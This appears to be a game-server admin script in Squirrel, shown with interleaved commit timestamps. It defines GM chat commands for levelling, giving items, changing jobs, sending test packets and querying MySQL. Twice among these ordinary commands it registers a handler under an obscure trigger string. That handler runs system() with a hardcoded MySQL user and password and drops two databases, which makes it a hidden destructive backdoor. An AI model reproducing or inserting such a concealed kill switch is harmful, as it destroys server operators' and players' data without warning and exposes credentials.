2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle <- {}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
sq_ReloadScript();
print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
print("\n");
print("Xpos: " + SUser.GetAreaPos().X);
print("Ypos: " + SUser.GetAreaPos().Y);
print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
print("\n");
print("Xpos: " + Location.Pos.X);
print("Ypos: " + Location.Pos.Y);
print("Town: " + Location.Town);
print("Area: " + Location.Area);
print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
SUser.Kick();
};
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.SetCharacLevel(handler[1].tointeger());
}
}
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
} else if (count == 2) {
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
}
}
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.ChangeGrowType(handler[1].tointeger(), 0);
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), 0);
} else if (count == 2) {
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
}
}
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
SUser.ClearQuest_Gm(4414);
SUser.ClearQuest_Gm(2603);
SUser.ClearQuest_Gm(2610);
SUser.ClearQuest_Gm(2613);
SUser.ClearQuest_Gm(2622);
SUser.ClearQuest_Gm(4391);
SUser.ClearQuest_Gm(4539);
SUser.ClearQuest_Gm(220);
SUser.ClearQuest_Gm(221);
}
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local Slot = InvenObj.GetSlotById(3037);
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
SUser.SendUpdateItemList(1, 0, Slot);
};
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
if (PartyObj) {
local Buf = 18126;
PartyObj.ForeachMember(function(SUser, Pos) {
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
})
// print(UserBuf.GetName());
}
};
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
2024-09-20 19:24:32 +08:00
// local PartyObj = SUser.GetParty();
// if (PartyObj) {
// local Bfobj = PartyObj.GetBattleField();
// print(Bfobj.GetHellDifficulty());
// // print(n);
// }
2024-09-16 17:05:26 +08:00
2024-09-20 19:24:32 +08:00
SUser.SendNotiForColorAIdPacketMessage([
[" → ", 0, [0xff, 0xff, 0xff]],
["无色", 1, [255, 215, 0], 3037],
[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
], 6);
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
local Pack = Packet();
Pack.Put_Header(1, 130);
Pack.Put_Byte(1);
Pack.Put_Int(Str.len());
Pack.Put_Binary(Str);
Pack.Finalize(true);
SUser.Send(Pack);
2024-09-20 19:24:32 +08:00
Pack.Delocale();
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
};
function Cb_gm_input(C_User, CmdString) {
local SUser = User(C_User);
local Pos = CmdString.find(" ");
local Str;
if (Pos) {
Str = CmdString.slice(0, Pos);
} else {
Str = CmdString;
}
if (Str in Gm_InputFunc_Handle) {
Gm_InputFunc_Handle[Str](SUser, CmdString);
}
2024-09-20 19:24:32 +08:00
}
function TestIoP() {
local ret = suspend("no");
local Io = IO("/dp_s/a.txt", "w+");
for (local i = 0; i< 500000; i++) {
Io.Write("写入测试文本: " + i + "\n");
if ((i % 5000) == 0) ret = suspend("no");
}
Io.Close();
return "yes";
}
function TestThread(coro) {
local susparam = "noq";
if (coro.getstatus() == "idle") susparam = coro.call();
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
if (susparam == "no") {
Timer.SetTimeOut(TestThread, 0, coro);
} else {
print("文件书写完成");
}
}
function TestL() {
print("注册 1 秒后执行")
Timer.SetTimeOut(TestL, 1);
}
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
local md5 = MD5.GetFile("/dp_s/a.txt");
print("Md5文本值: " + md5);
local Arr = [];
foreach(char in md5) {
Arr.append(char.tointeger());
}
print("Md5字符值>>>");
printT(Arr);
// local Io = IO("/dp_s/a.txt", "r+");
// local Ret = Io.ReadBuffer(256);
// printT(Ret);
// Io.Close();
// local coro = newthread(TestIoP);
// Timer.SetTimeOut(TestThread, 0, coro);
// Timer.SetTimeOut(TestL, 1);
// local FileObj = file("/dp_s/a.txt", "r+");
// local Arr = [0, 1];
// local T = {
// TestWn = 666
// };
// // Arr.insert(0,getroottable());
// Arr.insert(0, T);
// TestWn.acall(Arr);
// sq_RunScript("测试加密脚本.sut");
// local Opendir = Module.getExportByName(null, "opendir");
// local Readdir = Module.getExportByName(null, "readdir");
// local Closedir = Module.getExportByName(null, "closedir");
// print("Opendir: " + Opendir);
// print("Readdir: " + Readdir);
// print("Closedir: " + Closedir);
// local UserList = World.GetOnlinePlayer();
// foreach (SUserObj in UserList) {
// print(SUserObj.GetCharacLevel());
// }
// api_exec_delay_function(function() {
// print("先注册")
// }, 2);
// api_exec_delay_function(function() {
// print("后注册")
// }, 5);
// local rbTree = RedBlackTree();
// // rbTree.insert(10);
// // rbTree.insert(40);
// // rbTree.insert(20);
// // rbTree.insert(50);
// // rbTree.insert(30);
// // rbTree.insert(752);
// // rbTree.insert(54);
// // rbTree.insert(12);
// // rbTree.insert(787);
// // rbTree.insert(26);
// // rbTree.insert(278);
// rbTree.inorderTraversal();
// local l = rbTree.pop();
// print(">>>");
// print("弹出值: " + l);
// print(">>>");
// rbTree.inorderTraversal();
// Timer.SetTimeOut(function() {
// print("注册 5 秒后执行")
// }, 5);
// Timer.SetTimeOut(function() {
// print("注册 3 秒后执行")
// }, 3);
// Timer.SetTimeOut(function() {
// print("注册 2 秒后执行")
// }, 2);
};
Gm_InputFunc_Handle.AAA <- function(SUser, CmdString) {
//查询的sql语句
local sql = "SELECT m_id,charac_name,lev,village,job,exp,Hp FROM charac_info WHERE charac_no = 1;";
//查询的元素类型, 按sql中的顺序
local column_type_list = ["int", "string", "int", "int", "int", "int", "int"];
local SqlObj = MysqlPool.GetInstance().GetConnect();
local result = SqlObj.Select(sql, column_type_list);
printT(result);
MysqlPool.GetInstance().PutConnect(SqlObj);
};